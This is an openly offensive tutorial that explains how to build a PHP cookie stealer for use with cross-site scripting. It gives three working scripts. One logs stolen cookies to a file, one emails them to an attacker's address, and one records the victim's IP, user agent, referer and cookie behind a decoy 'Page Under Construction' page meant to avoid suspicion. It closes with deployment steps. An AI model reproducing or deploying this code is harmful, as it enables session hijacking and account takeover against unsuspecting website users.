How To Steal Cookies With Cross Site Scripting (XSS).

Creating A Cookie Stealer In PHP

I will present 3 different ways to create a cookie stealer script. The first one is very basic.

Method 1

The following code is a simple way to steal a cookie and put the content in a file called cookie.txt:

<!--?php
    $cookie = $HTTP_GET_VARS["cookie"];
    $steal = fopen("cookie.txt", "a");
    fwrite($steal, $cookie ."\n");
    fclose($steal);
?-->

$cookie = $HTTP_GET_VARS["cookie"];
Steals the cookie from the current url (stealer.php?cookie=x) and stores the cookies in the $cookie variable.

$steal = fopen("cookie.txt", "a");
This open the cookie file in append mode so that we can append the stolen cookie.

fwrite($steal, $cookie ."\n");
This will store the stolen cookie inside the file.

fclose($steal);
Closes the opened file.

↑ Back To Top ↑

Method 2

You can also use the PHP() mail function to send the cookie to your own email:

<!--?php
    $cookie = $HTTP_GET_VARS["cookie"]; mail("hacker@mymail.com", "Stolen Cookies", $cookie);
?-->

The above code will email the cookies to the hacker's email address using the PHP() mail function, with "Stolen cookies" as subject.

↑ Back To Top ↑

Method 3

Another more evolved version of this script is as follows, and this is the one we will want to use:

<!--?php 
function GetIP() 
{ 
 if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
  $ip = getenv("HTTP_CLIENT_IP"); 
 else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
  $ip = getenv("HTTP_X_FORWARDED_FOR"); 
 else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
  $ip = getenv("REMOTE_ADDR"); 
 else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
  $ip = $_SERVER['REMOTE_ADDR']; 
 else 
  $ip = "unknown"; 
 return($ip); 
} 

function logData() 
{ 
 $ipLog="log.txt"; 
 $cookie = $_SERVER['QUERY_STRING']; 
 $register_globals = (bool) ini_get('register_gobals'); 
 if ($register_globals) $ip = getenv('REMOTE_ADDR'); 
 else $ip = GetIP(); 

 $rem_port = $_SERVER['REMOTE_PORT']; 
 $user_agent = $_SERVER['HTTP_USER_AGENT']; 
 $rqst_method = $_SERVER['METHOD']; 
 $rem_host = $_SERVER['REMOTE_HOST']; 
 $referer = $_SERVER['HTTP_REFERER']; 
 $date=date ("l dS of F Y h:i:s A"); 
 $log=fopen("$ipLog", "a+"); 

 if (preg_match("/bhtmb/i", $ipLog) || preg_match("/bhtmlb/i", $ipLog)) 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br-->"); 
 else 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie nn"); 
 fclose($log); 
} 

logData(); 
echo '<center><p>Page Under Construction</p></center>' 
// this part is displayed if the page is visited directly, in order to avoid any suspicion...
?>-->

The above Cookie stealer will store the following information:

• IP Address
• Port Number
• Host (usually, the computer name)
• User-Agent (the browser used)
• The cookie itself

Copy the code and paste it in notepad.exe, TextEdit.app or your favorite text editor. Save the file with a .php extension, for instance stealer.php. Then create a new file, save it as log.txt and leave it blank.
Note: If you want to change the name of your log.txt file, remember to edit the .php file as well, otherwise your script will not work.

The above stealer.php file will collect the IP address, the cookie, and then store the data in our log.txt file.